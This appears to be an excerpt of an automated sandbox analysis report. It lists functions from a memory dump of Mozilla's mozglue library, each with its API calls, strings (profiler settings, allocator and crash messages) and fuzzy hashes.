Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 02c32d8d579b0a134cd078e57a3ec1040aba84c086a42ff7ecbf6d9a57cf892a
Instruction ID: 82d196f6520d46ab9cc49bbf18aa15b6a4c38a73b0690c98a763f1464170289e
Opcode Fuzzy Hash: 02c32d8d579b0a134cd078e57a3ec1040aba84c086a42ff7ecbf6d9a57cf892a
Instruction Fuzzy Hash: A1F089313876B463E62021A65C0AF6B269D6BC2B65F35453BF604DBDC0DB60E80086AA

Function 6C5A5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C5A586C
CloseHandle.KERNEL32 ref: 6C5A5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5A5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5A58C9
free.MOZGLUE(00000000), ref: 6C5A58D3

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: ac1655af69d05195de8bd19c79c96a1483cb1d54a16ebe21609a25b447a47ba7
Instruction ID: 8a24f5dc885451bc840542a3a969b7341efca62a465f54f3836e8c877339f2be
Opcode Fuzzy Hash: ac1655af69d05195de8bd19c79c96a1483cb1d54a16ebe21609a25b447a47ba7
Instruction Fuzzy Hash: 44018675704901ABDF00DF56DC08A0A7BB8FB83329767437DE619D2612D7319B158F89

Function 6C597620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5975C4,?), ref: 6C59762B

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5974D7,6C5A15FC,?,?,?), ref: 6C597644
GetCurrentThreadId.KERNEL32 ref: 6C59765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5974D7,6C5A15FC,?,?,?), ref: 6C597663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5974D7,6C5A15FC,?,?,?), ref: 6C597677

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9aa2689cd5fbf1bb14903330c67cf35759aa9e3858307dfd80ceeb8e62c13c79
Instruction ID: 4dc246d4d754887c785e2e99ea078b66deffdd4179d681941c25683691147993
Opcode Fuzzy Hash: 9aa2689cd5fbf1bb14903330c67cf35759aa9e3858307dfd80ceeb8e62c13c79
Instruction Fuzzy Hash: BEF0C276E10B85ABD7009F61CC88676BB78FFEA759F12431AF90443601E7B1A6D08BD1

Function 6C5A1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5A1800

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

Part of subcall function 6C544290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C583EBD,6C583EBD,00000000), ref: 6C5442A9

Strings

name, xrefs: 6C5A1939
{marker.name} - {marker.data.name}, xrefs: 6C5A18C7
Details, xrefs: 6C5A1925

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 90c79ac818bf9d435b26d04805ccde5759970ab84671af707b2d7da31dab093d
Instruction ID: 35ac19e242072ac08dc54bbf910ced3aa9dd9244d8bd452286d0f36fcce14a8c
Opcode Fuzzy Hash: 90c79ac818bf9d435b26d04805ccde5759970ab84671af707b2d7da31dab093d
Instruction Fuzzy Hash: 4B7101B0A00746DFCB04CF69D89069ABBB1FF85304F40466DD8194BB41DB70EA99CBE2

Function 6C56D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

EnterCriticalSection.KERNEL32(6C5CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D4F2
LeaveCriticalSection.KERNEL32(6C5CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D50B

Part of subcall function 6C54CFE0: EnterCriticalSection.KERNEL32(6C5CE784), ref: 6C54CFF6
Part of subcall function 6C54CFE0: LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C54D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D52E
EnterCriticalSection.KERNEL32(6C5CE7DC), ref: 6C56D690
LeaveCriticalSection.KERNEL32(6C5CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C57D1C5), ref: 6C56D751

Strings

MOZ_CRASH(), xrefs: 6C56D4BB

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b7f94a9c73c67ab4c0c4b2d45b879eab9e164fdaa7196203b02beae8e09f2197
Instruction ID: dab8dbbc129a418ea2b7860a5db935d3da04a94907d7e3c442f7a0a7a9516d59
Opcode Fuzzy Hash: b7f94a9c73c67ab4c0c4b2d45b879eab9e164fdaa7196203b02beae8e09f2197
Instruction Fuzzy Hash: B8511171A04B418FD324CF29C89471AB7E1EB8A704F258E2EE599C7F95D770E840CB92

Function 6C594630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C594721

Strings

-%llu, xrefs: 6C594733
., xrefs: 6C59476A
profiler-paused, xrefs: 6C5946E4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 0aa5f136f3f8e1b95d39a8334ed69eabccde1332fd8ca2576ee87fbadd0fab90
Instruction ID: e00e8736ae55bdf65c9136bbd42280af9665a2732047dc3d2708c6ed0c5bb859
Opcode Fuzzy Hash: 0aa5f136f3f8e1b95d39a8334ed69eabccde1332fd8ca2576ee87fbadd0fab90
Instruction Fuzzy Hash: 6C417672E047489BCB08DF78DC5119EBBE5EF85344F10867EE869ABB81EB309C448795

Function 6C5B9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5B985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5B987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5B98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5B98D9

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 9d9f5521c766a1d9cd44c8bd124e194033846adf6168178d5043610ba36cc303
Instruction ID: b7b3c5ab22bb27463cf614dfdf2233080e96529e0783857dfe57071b2ea08d52
Opcode Fuzzy Hash: 9d9f5521c766a1d9cd44c8bd124e194033846adf6168178d5043610ba36cc303
Instruction Fuzzy Hash: AC31F475B00108ABDF24AF59DC549EF77A9DB85318F40802DFA0AABB40DB31AD44CBE1

Function 6C5946E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C594721

Part of subcall function 6C544410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C583EBD,00000017,?,00000000,?,6C583EBD,?,?,6C5442D2), ref: 6C544444

Strings

-%llu, xrefs: 6C594733
., xrefs: 6C59476A
profiler-paused, xrefs: 6C5946E4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 3518f188ab9208b74d9663a43392aee0249d7214db3e4944929c0a02b7319372
Instruction ID: 8ea51a68422d2afa0c4ab4d2a6e0e10ce1c3cbdc22195ec61ef5f99cb1919c34
Opcode Fuzzy Hash: 3518f188ab9208b74d9663a43392aee0249d7214db3e4944929c0a02b7319372
Instruction Fuzzy Hash: 78314675F002489BCB08CF6CDC9129EBBE6DB88314F15863EE8159BB41EB709D058B90

Function 6C59B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C544290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C583EBD,6C583EBD,00000000), ref: 6C5442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C59B127), ref: 6C59B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C59B4E4

Strings

pid:, xrefs: 6C59B4DE

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 680463b4f75402c8586781bc91d01ed0e08114019e311191596e02fab3c0d125
Instruction ID: 8aaf6485c8a3fd1344bd95ed458e32e9737addff6b896b44658d4296df301449
Opcode Fuzzy Hash: 680463b4f75402c8586781bc91d01ed0e08114019e311191596e02fab3c0d125
Instruction Fuzzy Hash: DE31E031A01248DBEB20EFA9DC80AAEB7B6BF45318F54056DD80567A41E731A945CBE1

Function 6C55BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C5A7A3F), ref: 6C55BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C5A7A3F), ref: 6C55BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C5A7A3F), ref: 6C55BF7E

Strings

[l, xrefs: 6C55BF84

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: [l
API String ID: 4279176481-2302045944
Opcode ID: eb760161fc31effd21e5f8b1cdb23c47cd1ef30b5ed5201051f5a20b06b3c910
Instruction ID: 6b446c462375b9bd6d991cfa6f0677369c01e85de2fc1e1204ac53a8ccd01819
Opcode Fuzzy Hash: eb760161fc31effd21e5f8b1cdb23c47cd1ef30b5ed5201051f5a20b06b3c910
Instruction Fuzzy Hash: 9D11C079200A048FC729CF0CD9A9A26FBF8FF59305315889DE98A8B751C771E800CF95

Function 6C58E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C58E577
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58E584
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C58E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C58E722, 6C58E750, 6C58E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C58E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C58E826, 6C58E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C58E777
MOZ_PROFILER_STARTUP, xrefs: 6C58E5A1, 6C58E5CC, 6C58E5FF, 6C58E62A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: e12a786b137c2473989045ffadd9e7bbce2bb6ee714d960d058c7b31b15e82b8
Instruction ID: 2b92b0426c21d84690e91d5fe2d53e2dc69c80f2317ab6636a6e5889f1552c7c
Opcode Fuzzy Hash: e12a786b137c2473989045ffadd9e7bbce2bb6ee714d960d058c7b31b15e82b8
Instruction Fuzzy Hash: 6911CE36B00A54DFCB00AF54CC88A6ABBB4FB89728F42061DE84147650D7B8A944CF9A

Function 6C590C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C590CD5

Part of subcall function 6C57F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C57F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C590D40
free.MOZGLUE ref: 6C590DCB

Part of subcall function 6C565E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C565EDB
Part of subcall function 6C565E90: memset.VCRUNTIME140(ewZl,000000E5,?), ref: 6C565F27
Part of subcall function 6C565E90: LeaveCriticalSection.KERNEL32(?), ref: 6C565FB2

free.MOZGLUE ref: 6C590DDD
free.MOZGLUE ref: 6C590DF2

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: cb7fb4eb36bd506de9e24bee3dadb5b651f1cea4662a6cd8ee0cf446e2f1db10
Instruction ID: 8cbc8201ed68388bf6d48e2ddbe740b4c79e1fb8fb08fdc6fda88512d96d31ad
Opcode Fuzzy Hash: cb7fb4eb36bd506de9e24bee3dadb5b651f1cea4662a6cd8ee0cf446e2f1db10
Instruction Fuzzy Hash: 7B411871908780CBD720CF29C88079AFBE5BFC9714F518A6EE8D887761D7709885CB92

Function 6C580800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE7DC), ref: 6C580838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C58084C
EnterCriticalSection.KERNEL32(?), ref: 6C5808AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5808BD
LeaveCriticalSection.KERNEL32(6C5CE7DC), ref: 6C5808D5

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: b7f5004af8210d930d1a13ab4f9e55fd233b3081abfe82259e7c350ef35884b5
Instruction ID: b5fb512a9428f96a183461dbfda261f4ece327ccf679a36d060b7d7f4e997a1c
Opcode Fuzzy Hash: b7f5004af8210d930d1a13ab4f9e55fd233b3081abfe82259e7c350ef35884b5
Instruction Fuzzy Hash: E421F231B026598BEF04DF65CC85BBE73B9AF85708F90052DD909A7A00DF75AA448FD4

Function 6C59CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C58DA31,00100000,?,?,00000000,?), ref: 6C59CDA4

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

Part of subcall function 6C59D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C59CDBA,00100000,?,00000000,?,6C58DA31,00100000,?,?,00000000,?), ref: 6C59D158
Part of subcall function 6C59D130: InitializeConditionVariable.KERNEL32(00000098,?,6C59CDBA,00100000,?,00000000,?,6C58DA31,00100000,?,?,00000000,?), ref: 6C59D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C58DA31,00100000,?,?,00000000,?), ref: 6C59CDC4

Part of subcall function 6C597480: ReleaseSRWLockExclusive.KERNEL32(?,6C5A15FC,?,?,?,?,6C5A15FC,?), ref: 6C5974EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C58DA31,00100000,?,?,00000000,?), ref: 6C59CECC

Part of subcall function 6C55CA10: mozalloc_abort.MOZGLUE(?), ref: 6C55CAA2

Part of subcall function 6C58CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C59CEEA,?,?,?,?,00000000,?,6C58DA31,00100000,?,?,00000000), ref: 6C58CB57
Part of subcall function 6C58CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C58CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C59CEEA,?,?), ref: 6C58CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C58DA31,00100000,?,?,00000000,?), ref: 6C59D058

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 01fb384e6d23163765f19ea6dec63fa3d29c18f74909eb4410cd333109c3e9fb
Instruction ID: b4664be5eab6f96ccc291a8e3c2a30af4df323c89827759893f30fdc8bcafa8f
Opcode Fuzzy Hash: 01fb384e6d23163765f19ea6dec63fa3d29c18f74909eb4410cd333109c3e9fb
Instruction Fuzzy Hash: CFD16F71A04B46DFD708CF28C880B99F7E1BF89304F05866DD8598B752EB31B9A5CB81

Function 6C551720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5517B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5518EE
free.MOZGLUE(?), ref: 6C551911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55194C

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 715bb1ff6a84b3dfef575a242985b9b0abe3acab94c0bb92b63582fbfe628414
Instruction ID: 729cc35357c4050c1b7ceb0900d025756cfa570d397617ff01acdd671c213994
Opcode Fuzzy Hash: 715bb1ff6a84b3dfef575a242985b9b0abe3acab94c0bb92b63582fbfe628414
Instruction Fuzzy Hash: 3781AE70A112059FCB18CF68DC949AFBBB1FF89314F44452EE811AB754E770E964CBA2

Function 6C565C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C565D40
EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C565D67
__aulldiv.LIBCMT ref: 6C565DB4
LeaveCriticalSection.KERNEL32(6C5CF688), ref: 6C565DED

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
